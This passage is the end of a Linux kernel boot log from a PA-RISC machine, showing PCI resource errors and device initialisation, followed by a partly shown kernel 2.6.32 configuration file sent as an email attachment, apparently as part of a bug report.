[    6.592000] pci 0000:02:03.0: BAR 14: no parent found for of bridge [0xf5000000-0xf50fffff]
[    6.700000] pci 0000:02:03.0: BAR 15: no parent found for of bridge [0xf0100000-0xf01fffff]
[    6.812000] pci 0000:02:03.0: BAR 16: no parent found for of bridge [0x0-0x0]
[    6.904000] pci 0000:04:04.0: BAR 0: no parent found for of device [0xfffffffff5007000-0xfffffffff50073ff]
[    7.032000] pci 0000:04:04.1: BAR 0: no parent found for of device [0xfffffffff5006000-0xfffffffff500607f]
[    7.160000] pci 0000:04:05.0: BAR 0: no parent found for of device [0xfffffffff5005000-0xfffffffff50053ff]
[    7.284000] pci 0000:04:05.1: BAR 0: no parent found for of device [0xfffffffff5004000-0xfffffffff500407f]
[    7.412000] pci 0000:04:06.0: BAR 0: no parent found for of device [0xfffffffff5003000-0xfffffffff50033ff]
[    7.540000] pci 0000:04:06.1: BAR 0: no parent found for of device [0xfffffffff5002000-0xfffffffff500207f]
[    7.668000] pci 0000:04:07.0: BAR 0: no parent found for of device [0xfffffffff5001000-0xfffffffff50013ff]
[    7.792000] pci 0000:04:07.1: BAR 0: no parent found for of device [0xfffffffff5000000-0xfffffffff500007f]
[    7.920000] pci 0000:02:02.0: device not available because of BAR 13 [0x00-0xfff] collisions
[    8.032000] pci 0000:02:03.0: device not available because of BAR 13 [0x00-0xfff] collisions
[    8.144000] Elroy version TR2.1 (0x2) found at 0xfffffffffed38000
[    8.228000] Elroy version TR2.1 (0x2) found at 0xfffffffffed3c000
[    8.308000] iosapic: hpa not registered for 0000:06:07.0
[    8.388000] powersw: Soft power switch at 0xfffffff0f0400804 enabled.
[    8.476000] bio: create slab <bio-0> at 0
[    8.532000] NET: Registered protocol family 2
[    8.588000] IP route cache hash table entries: 131072 (order: 8, 1048576 bytes)
[    8.688000] TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
[    8.804000] TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
[    8.896000] TCP: Hash tables configured (established 262144 bind 65536)
[    8.980000] TCP reno registered
[    9.024000] NET: Registered protocol family 1
[    9.080000] Unpacking initramfs...
[   10.004000] Freeing initrd memory: 8898k freed
[   10.068000] Enabling PDC chassis warnings support v0.05
[   10.136000] Performance monitoring counters enabled for Forte W+ 2w
[   10.216000] audit: initializing netlink socket (disabled)
[   10.288000] type=2000 audit(1260001051.288:1): initialized
[   10.364000] VFS: Disk quotas dquot_6.5.2
[   10.416000] Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[   10.500000] msgmni has been set to 8039
[   10.552000] alg: No test for stdrng (krng)
[   10.608000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
[   10.704000] io scheduler noop registered
[   10.756000] io scheduler anticipatory registered
[   10.816000] io scheduler deadline registered
[   10.872000] io scheduler cfq registered (default)
[   10.936000] SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 68) 
[   11.028000] SuperIO: Serial port 1 at 0x3f8
[   11.084000] SuperIO: Serial port 2 at 0x2f8
[   11.140000] SuperIO: Parallel port at 0x378
[   11.196000] SuperIO: Floppy controller at 0x3f0
[   11.256000] SuperIO: ACPI at 0x7e0
[   11.300000] SuperIO: USB regulator enabled
[   11.356000] PDC Stable Storage facility v0.30
[   11.724000] STI GSC/PCI core graphics driver Version 0.9a
[   11.796000] STI PCI graphic ROM found at fffffffff7000000 (2048 kB), fb at fffffffffa000000 (32 MB)
[   11.960000]     id 2fc1066b-9a02587, conforms to spec rev. 8.09
[   12.036000]     graphics card name: HPA4554A
[   12.092000] sticon: Initializing STI text console.
[   12.156000] Console: switching to colour STI console 160x64
[   12.364000] stifb: 'HPA4554A' (id: 0x2fc1066b) not supported.
[   12.444000] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
[   12.528000] serial8250: ttyS0 at I/O 0x3f8 (irq = 3) is a 16550A
[   12.604000] console handover: boot [ttyB0] -> real [ttyS0]
[   12.676000] serial8250: ttyS1 at I/O 0x2f8 (irq = 4) is a 16550A
[   12.752000] mice: PS/2 mouse device common for all mice
[   12.812000] rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
[   12.900000] TCP cubic registered
[   12.940000] NET: Registered protocol family 17
[   12.992000] registered taskstats version 1
[   13.044000] rtc-generic rtc-generic: setting system clock to 2009-12-05 08:17:34 UTC (1260001054)
[   13.152000] Freeing unused kernel memory: 292k freed

--SLDf9lqlvOQaIe6s
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="config-2.6.32"

#
# Automatically generated make config: don't edit
# Linux kernel version: 2.6.32
# Fri Dec  4 17:02:54 2009
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_FIND_NEXT_BIT=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_GENERIC_TIME=y
CONFIG_TIME_LOW_RES=y
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y
CONFIG_IRQ_PER_CPU=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_CONSTRUCTORS=y

#
# General setup
#
CONFIG_EXPERIMENTAL=y
CONFIG_LOCK_KERNEL=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_LOCALVERSION=""
# CONFIG_LOCALVERSION_AUTO is not set
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
# CONFIG_BSD_PROCESS_ACCT is not set
# CONFIG_TASKSTATS is not set
# CONFIG_AUDIT is not set

#
# RCU Subsystem
#
CONFIG_TREE_RCU=y
# CONFIG_TREE_PREEMPT_RCU is not set
# CONFIG_RCU_TRACE is not set
CONFIG_RCU_FANOUT=32
# CONFIG_RCU_FANOUT_EXACT is not set
# CONFIG_TREE_RCU_TRACE is not set
# CONFIG_IKCONFIG is not set
CONFIG_LOG_BUF_SHIFT=15
# CONFIG_GROUP_SCHED is not set
# CONFIG_CGROUPS is not set
# CONFIG_SYSFS_DEPRECATED_V2 is not set
# CONFIG_RELAY is not set
# CONFIG_NAMESPACES is not set
# CONFIG_BLK_DEV_INITRD is not set
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
CONFIG_EMBEDDED=y
CONFIG_SYSCTL_SYSCALL=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
# CONFIG_KALLSYMS_EXTRA_PASS is not set
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_HAVE_PERF_EVENTS=y

#
# Kernel Performance Events And Counters
#
# CONFIG_PERF_EVENTS is not set
# CONFIG_PERF_COUNTERS is not set
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_PCI_QUIRKS=y
# CONFIG_COMPAT_BRK is not set
CONFIG_SLAB=y
# CONFIG_SLUB is not set
# CONFIG_SLOB is not set
# CONFIG_PROFILING is not set
CONFIG_HAVE_OPROFILE=y
CONFIG_HAVE_ARCH_TRACEHOOK=y
CONFIG_USE_GENERIC_SMP_HELPERS=y

#
# GCOV-based kernel profiling
#
# CONFIG_GCOV_KERNEL is not set
# CONFIG_SLOW_WORK is not set
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
# CONFIG_MODULE_FORCE_UNLOAD is not set
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_STOP_MACHINE=y
CONFIG_BLOCK=y
# CONFIG_BLK_DEV_BSG is not set
# CONFIG_BLK_DEV_INTEGRITY is not set
CONFIG_BLOCK_COMPAT=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_AS=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_AS is not set
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
CONFIG_64BIT=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
CONFIG_SMP=y
CONFIG_HOTPLUG_CPU=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
CONFIG_HZ_100=y
# CONFIG_HZ_250 is not set
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=100
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
CONFIG_FLATMEM_MANUAL=y
# CONFIG_DISCONTIGMEM_MANUAL is not set
# CONFIG_SPARSEMEM_MANUAL is not set
CONFIG_FLATMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
CONFIG_HAVE_MLOCK=y
CONFIG_HAVE_MLOCKED_PAGE_BIT=y
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
CONFIG_COMPAT=y
CONFIG_NR_CPUS=2

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
CONFIG_HPPB=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_EISA=y
CONFIG_EISA_NAMES=y
CONFIG_ISA=y
CONFIG_PCI=y
# CONFIG_ARCH_SUPPORTS_MSI is not set
CONFIG_PCI_LEGACY=y
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_STUB is not set
# CONFIG_PCI_IOV is not set
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
# CONFIG_PDC_CHASSIS is not set
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set
# CONFIG_HAVE_AOUT is not set
CONFIG_BINFMT_MISC=y
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_UNIX=y
# CONFIG_NET_KEY is not set
CONFIG_INET=y
# CONFIG_IP_MULTICAST is not set
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_FIB_HASH=y
# CONFIG_IP_PNP is not set
CONFIG_NET_IPIP=m
# CONFIG_NET_IPGRE is not set
# CONFIG_ARPD is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_INET_AH is not set
# CONFIG_INET_ESP is not set
# CONFIG_INET_IPCOMP is not set
# CONFIG_INET_XFRM_TUNNEL is not set
CONFIG_INET_TUNNEL=m
# CONFIG_INET_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET_XFRM_MODE_TUNNEL is not set
# CONFIG_INET_XFRM_MODE_BEET is not set
# CONFIG_INET_LRO is not set
CONFIG_INET_DIAG=m
CONFIG_INET_TCP_DIAG=m
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
CONFIG_IPV6=y
# CONFIG_IPV6_PRIVACY is not set
# CONFIG_IPV6_ROUTER_PREF is not set
# CONFIG_IPV6_OPTIMISTIC_DAD is not set
# CONFIG_INET6_AH is not set
# CONFIG_INET6_ESP is not set
# CONFIG_INET6_IPCOMP is not set
# CONFIG_IPV6_MIP6 is not set
# CONFIG_INET6_XFRM_TUNNEL is not set
# CONFIG_INET6_TUNNEL is not set
# CONFIG_INET6_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET6_XFRM_MODE_TUNNEL is not set
# CONFIG_INET6_XFRM_MODE_BEET is not set
# CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set
CONFIG_IPV6_SIT=m
CONFIG_IPV6_NDISC_NODETYPE=y
# CONFIG_IPV6_TUNNEL is not set
# CONFIG_IPV6_MULTIPLE_TABLES is not set
# CONFIG_IPV6_MROUTE is not set
# CONFIG_NETLABEL is not set
# CONFIG_NETWORK_SECMARK is not set
# CONFIG_NETFILTER is not set
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_RDS is not set
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
# CONFIG_BRIDGE is not set
# CONFIG_NET_DSA is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_DECNET is not set
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_PHONET is not set
# CONFIG_IEEE802154 is not set
# CONFIG_NET_SCHED is not set
# CONFIG_DCB is not set

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
# CONFIG_WIRELESS is not set
# CONFIG_WIMAX is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
# CONFIG_DEVTMPFS is not set
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
# CONFIG_PARPORT is not set
# CONFIG_PNP is not set
CONFIG_BLK_DEV=y
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_CRYPTOLOOP=m
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_SX8 is not set
# CONFIG_BLK_DEV_UB is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=8192
# CONFIG_BLK_DEV_XIP is not set
# CONFIG_CDROM_PKTCDVD is not set
# CONFIG_ATA_OVER_ETH is not set
# CONFIG_BLK_DEV_HD is not set
CONFIG_MISC_DEVICES=y
# CONFIG_PHANTOM is not set
CONFIG_SGI_IOC4=m
CONFIG_TIFM_CORE=m
CONFIG_TIFM_7XX1=m
# CONFIG_ICS932S401 is not set
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_HP_ILO is not set
# CONFIG_ISL29003 is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_AT24 is not set
# CONFIG_EEPROM_LEGACY is not set
# CONFIG_EEPROM_MAX6875 is not set
# CONFIG_EEPROM_93CX6 is not set
# CONFIG_CB710_CORE is not set
CONFIG_HAVE_IDE=y
CONFIG_IDE=y

#
# Please see Documentation/ide/ide.txt for help/info on IDE drives
#
CONFIG_IDE_XFER_MODE=y
CONFIG_IDE_ATAPI=y
# CONFIG_BLK_DEV_IDE_SATA is not set
# CONFIG_IDE_GD is not set
CONFIG_BLK_DEV_IDECD=y
CONFIG_BLK_DEV_IDECD_VERBOSE_ERRORS=y
# CONFIG_BLK_DEV_IDETAPE is not set
# CONFIG_IDE_TASK_IOCTL is not set
# CONFIG_IDE_PROC_FS is not set

#
# IDE chipset support/bugfixes
#
# CONFIG_BLK_DEV_PLATFORM is not set
CONFIG_BLK_DEV_IDEDMA_SFF=y

#
# PCI IDE chipsets support
#
CONFIG_BLK_DEV_IDEPCI=y
# CONFIG_IDEPCI_PCIBUS_ORDER is not set
# CONFIG_BLK_DEV_GENERIC is not set
# CONFIG_BLK_DEV_OPTI621 is not set
CONFIG_BLK_DEV_IDEDMA_PCI=y
# CONFIG_BLK_DEV_AEC62XX is not set
# CONFIG_BLK_DEV_ALI15X3 is not set
# CONFIG_BLK_DEV_AMD74XX is not set
# CONFIG_BLK_DEV_CMD64X is not set
# CONFIG_BLK_DEV_TRIFLEX is not set
# CONFIG_BLK_DEV_CS5520 is not set
# CONFIG_BLK_DEV_CS5530 is not set
# CONFIG_BLK_DEV_HPT366 is not set
# CONFIG_BLK_DEV_JMICRON is not set
# CONFIG_BLK_DEV_SC1200 is not set
# CONFIG_BLK_DEV_PIIX is not set
# CONFIG_BLK_DEV_IT8172 is not set
# CONFIG_BLK_DEV_IT8213 is not set
# CONFIG_BLK_DEV_IT821X is not set
CONFIG_BLK_DEV_NS87415=y
# CONFIG_BLK_DEV_PDC202XX_OLD is not set
# CONFIG_BLK_DEV_PDC202XX_NEW is not set
# CONFIG_BLK_DEV_SVWKS is not set
# CONFIG_BLK_DEV_SIIMAGE is not set
# CONFIG_BLK_DEV_SLC90E66 is not set
# CONFIG_BLK_DEV_TRM290 is not set
# CONFIG_BLK_DEV_VIA82CXXX is not set
# CONFIG_BLK_DEV_TC86C001 is not set
CONFIG_BLK_DEV_IDEDMA=y

#
# SCSI device support
#
CONFIG_RAID_ATTRS=y
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
CONFIG_SCSI_TGT=y
# CONFIG_SCSI_NETLINK is not set
# CONFIG_SCSI_PROC_FS is not set

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_CHR_DEV_SG=y
# CONFIG_CHR_DEV_SCH is not set
CONFIG_SCSI_MULTI_LUN=y
CONFIG_SCSI_CONSTANTS=y
CONFIG_SCSI_LOGGING=y
# CONFIG_SCSI_SCAN_ASYNC is not set
CONFIG_SCSI_WAIT_SCAN=m

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set
# CONFIG_SCSI_ISCSI_ATTRS is not set
# CONFIG_SCSI_SAS_LIBSAS is not set
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_BE2ISCSI is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_IN2000 is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_LIBFC is not set
# CONFIG_LIBFCOE is not set
# CONFIG_FCOE is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_DTC3280 is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GENERIC_NCR5380 is not set
# CONFIG_SCSI_GENERIC_NCR5380_MMIO is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_NCR53C406A is not set
# CONFIG_SCSI_LASI700 is not set
# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_ZALON is not set
# CONFIG_SCSI_PAS16 is not set
# CONFIG_SCSI_QLOGIC_FAS is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_SYM53C416 is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_PMCRAID is not set
# CONFIG_SCSI_SRP is not set
# CONFIG_SCSI_BFA_FC is not set
# CONFIG_SCSI_DH is not set
# CONFIG_SCSI_OSD_INITIATOR is not set
# CONFIG_ATA is not set
CONFIG_MD=y
CONFIG_BLK_DEV_MD=y
CONFIG_MD_AUTODETECT=y
# CONFIG_MD_LINEAR is not set
CONFIG_MD_RAID0=y
CONFIG_MD_RAID1=y
# CONFIG_MD_RAID10 is not set
# CONFIG_MD_RAID456 is not set
# CONFIG_MD_MULTIPATH is not set
# CONFIG_MD_FAULTY is not set
# CONFIG_BLK_DEV_DM is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#

#
# You can enable one or both FireWire driver stacks.
#

#
# See the help texts for more information.
#
# CONFIG_FIREWIRE is not set
# CONFIG_IEEE1394 is not set
# CONFIG_I2O is not set
CONFIG_NETDEVICES=y
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_MACVLAN is not set
# CONFIG_EQUALIZER is not set
CONFIG_TUN=y
# CONFIG_VETH is not set
# CONFIG_ARCNET is not set
# CONFIG_PHYLIB is not set
CONFIG_NET_ETHERNET=y
CONFIG_MII=y
# CONFIG_LASI_82596 is not set
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNGEM is not set
# CONFIG_CASSINI is not set
CONFIG_NET_VENDOR_3COM=y
# CONFIG_EL1 is not set
# CONFIG_EL2 is not set
# CONFIG_EL16 is not set
# CONFIG_EL3 is not set
CONFIG_VORTEX=y
# CONFIG_TYPHOON is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_ETHOC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_DNET is not set
CONFIG_NET_TULIP=y
# CONFIG_DE2104X is not set
CONFIG_TULIP=y
# CONFIG_TULIP_MWI is not set
CONFIG_TULIP_MMIO=y
CONFIG_TULIP_NAPI=y
CONFIG_TULIP_NAPI_HW_MITIGATION=y
# CONFIG_DE4X5 is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_DM9102 is not set
# CONFIG_ULI526X is not set
# CONFIG_AT1700 is not set
# CONFIG_DEPCA is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
# CONFIG_IBM_NEW_EMAC_ZMII is not set
# CONFIG_IBM_NEW_EMAC_RGMII is not set
# CONFIG_IBM_NEW_EMAC_TAH is not set
# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
# CONFIG_IBM_NEW_EMAC_NO_FLOW_CTRL is not set
# CONFIG_IBM_NEW_EMAC_MAL_CLR_ICINTSTAT is not set
# CONFIG_IBM_NEW_EMAC_MAL_COMMON_ERR is not set
# CONFIG_NET_PCI is not set
# CONFIG_B44 is not set
# CONFIG_CS89x0 is not set
# CONFIG_KS8842 is not set
# CONFIG_KS8851_MLL is not set
# CONFIG_ATL2 is not set
# CONFIG_NETDEV_1000 is not set
# CONFIG_NETDEV_10000 is not set
# CONFIG_TR is not set
# CONFIG_WLAN is not set

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#

#
# USB Network Adapters
#
# CONFIG_USB_CATC is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_RTL8150 is not set
# CONFIG_USB_USBNET is not set
# CONFIG_WAN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set
# CONFIG_NET_FC is not set
# CONFIG_NETCONSOLE is not set
# CONFIG_NETPOLL is not set
# CONFIG_NET_POLL_CONTROLLER is not set
# CONFIG_ISDN is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y
# CONFIG_INPUT_FF_MEMLESS is not set
# CONFIG_INPUT_POLLDEV is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
# CONFIG_INPUT_MOUSEDEV_PSAUX is not set
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
# CONFIG_INPUT_KEYBOARD is not set
# CONFIG_INPUT_MOUSE is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_SERIO_SERPORT=y
# CONFIG_SERIO_GSCPS2 is not set
# CONFIG_HP_SDC is not set
# CONFIG_SERIO_PCIPS2 is not set
# CONFIG_SERIO_LIBPS2 is not set
# CONFIG_SERIO_RAW is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
# CONFIG_DEVKMEM is not set
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_GSC=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=16
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
# CONFIG_SERIAL_8250_MANY_PORTS is not set
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MUX is not set
CONFIG_PDC_CONSOLE=y
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
CONFIG_UNIX98_PTYS=y
# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set
# CONFIG_LEGACY_PTYS is not set
# CONFIG_IPMI_HANDLER is not set
CONFIG_HW_RANDOM=y
# CONFIG_HW_RANDOM_TIMERIOMEM is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
CONFIG_I2C=y
CONFIG_I2C_BOARDINFO=y
# CONFIG_I2C_COMPAT is not set
# CONFIG_I2C_CHARDEV is not set
CONFIG_I2C_HELPER_AUTO=y
CONFIG_I2C_ALGOBIT=m

#
# I2C Hardware Bus support
#

#
# PC SMBus host controller drivers
#
# CONFIG_I2C_ALI1535 is not set
# CONFIG_I2C_ALI1563 is not set
